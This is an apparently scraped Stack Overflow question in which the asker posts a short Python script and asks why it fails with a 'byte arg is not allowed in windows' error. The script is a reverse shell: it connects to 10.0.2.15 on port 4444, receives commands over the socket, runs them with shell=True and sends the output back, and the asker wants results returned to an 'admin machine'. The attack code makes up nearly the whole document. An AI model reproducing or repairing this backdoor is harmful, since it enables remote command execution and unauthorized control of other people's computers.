'got this error in byte arg is not allowed in windows error
import socket
import subprocess
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect(("10.0.2.15", 4444))
# send data
msg = "\nconnection ok\n"
soc.sendto(msg.encode(), ("10.0.2.15", 4444))
command = soc.recv(200)
cmd = subprocess.check_output(command, shell=True)
soc.sendto(cmd.encode(), ("10.0.2.15", 4444))
soc.close()
I am getting the error "byte arg is not allowed in windows". But i am expecting the output of my given command in admin machine.
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|
